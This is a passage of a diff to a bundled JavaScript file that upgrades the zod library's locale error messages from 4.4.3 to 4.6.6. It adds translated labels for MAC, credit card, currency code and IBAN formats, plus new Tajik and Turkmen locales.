unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63996,12 +66296,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64071,17 +66375,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64107,12 +66529,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64182,17 +66608,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64218,12 +66753,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64288,17 +66827,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64324,12 +66864,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64397,22 +66941,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64438,12 +66983,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + credit_card: "\u06A9\u0631\u06CC\u0688\u0679 \u06A9\u0627\u0631\u0688 \u0646\u0645\u0628\u0631", + currency_code: "\u06A9\u0631\u0646\u0633\u06CC \u06A9\u0648\u0688", + iban: "IBAN", jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", template_literal: "\u0627\u0646 \u067E\u0679" }; @@ -64513,12 +67062,12 @@ var error45 = () => { }; function ur_default() { return { - localeError: error45() + localeError: error56() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uz.js -var error46 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uz.js +var error57 = () => { const Sizable = { string: { unit: "belgi", verb: "bo\u2018lishi kerak" }, file: { unit: "bayt", verb: "bo\u2018lishi kerak" }, @@ -64557,6 +67106,9 @@ var error46 = () => { base64url: "base64url kodlangan satr", json_string: "JSON satr", e164: "E.164 raqam", + credit_card: "kredit karta raqami", + currency_code: "valyuta kodi", + iban: "IBAN", jwt: "JWT", template_literal: "kirish" }; @@ -64624,17 +67176,18 @@ var error46 = () => { }; function uz_default() { return { - localeError: error46() + localeError: error57() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/vi.js -var error47 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/vi.js +var error58 = () => { const Sizable = { string: { unit: "k\xFD t\u1EF1", verb: "c\xF3" }, file: { unit: "byte", verb: "c\xF3" }, array: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, - set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } + set: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" }, + map: { unit: "ph\u1EA7n t\u1EED", verb: "c\xF3" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64660,12 +67213,16 @@ var error47 = () => { duration: "kho\u1EA3ng th\u1EDDi gian ISO", ipv4: "\u0111\u1ECBa ch\u1EC9 IPv4", ipv6: "\u0111\u1ECBa ch\u1EC9 IPv6", + mac: "\u0111\u1ECBa ch\u1EC9 MAC", cidrv4: "d\u1EA3i IPv4", cidrv6: "d\u1EA3i IPv6", base64: "chu\u1ED7i m\xE3 h\xF3a base64", base64url: "chu\u1ED7i m\xE3 h\xF3a base64url", json_string: "chu\u1ED7i JSON", e164: "s\u1ED1 E.164", + credit_card: "s\u1ED1 th\u1EBB t\xEDn d\u1EE5ng", + currency_code: "m\xE3 ti\u1EC1n t\u1EC7", + iban: "IBAN", jwt: "JWT", template_literal: "\u0111\u1EA7u v\xE0o" }; @@ -64733,17 +67290,18 @@ var error47 = () => { }; function vi_default() { return { - localeError: error47() + localeError: error58() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-CN.js -var error48 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-CN.js +var error59 = () => { const Sizable = { string: { unit: "\u5B57\u7B26", verb: "\u5305\u542B" }, file: { unit: "\u5B57\u8282", verb: "\u5305\u542B" }, array: { unit: "\u9879", verb: "\u5305\u542B" }, - set: { unit: "\u9879", verb: "\u5305\u542B" } + set: { unit: "\u9879", verb: "\u5305\u542B" }, + map: { unit: "\u9879", verb: "\u5305\u542B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64769,12 +67327,16 @@ var error48 = () => { duration: "ISO\u65F6\u957F", ipv4: "IPv4\u5730\u5740", ipv6: "IPv6\u5730\u5740", + mac: "MAC\u5730\u5740", cidrv4: "IPv4\u7F51\u6BB5", cidrv6: "IPv6\u7F51\u6BB5", base64: "base64\u7F16\u7801\u5B57\u7B26\u4E32", base64url: "base64url\u7F16\u7801\u5B57\u7B26\u4E32", json_string: "JSON\u5B57\u7B26\u4E32", e164: "E.164\u53F7\u7801", + credit_card: "\u4FE1\u7528\u5361\u53F7", + currency_code: "\u8D27\u5E01\u4EE3\u7801", + iban: "IBAN", jwt: "JWT", template_literal: "\u8F93\u5165" }; @@ -64843,17 +67405,18 @@ var error48 = () => { }; function zh_CN_default() { return { - localeError: error48() + localeError: error59() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/zh-TW.js -var error49 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/zh-TW.js +var error60 = () => { const Sizable = { string: { unit: "\u5B57\u5143", verb: "\u64C1\u6709" }, file: { unit: "\u4F4D\u5143\u7D44", verb: "\u64C1\u6709" }, array: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, - set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } + set: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" }, + map: { unit: "\u9805\u76EE", verb: "\u64C1\u6709" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64879,12 +67442,16 @@ var error49 = () => { duration: "ISO \u671F\u9593", ipv4: "IPv4 \u4F4D\u5740", ipv6: "IPv6 \u4F4D\u5740", + mac: "MAC \u4F4D\u5740", cidrv4: "IPv4 \u7BC4\u570D", cidrv6: "IPv6 \u7BC4\u570D", base64: "base64 \u7DE8\u78BC\u5B57\u4E32", base64url: "base64url 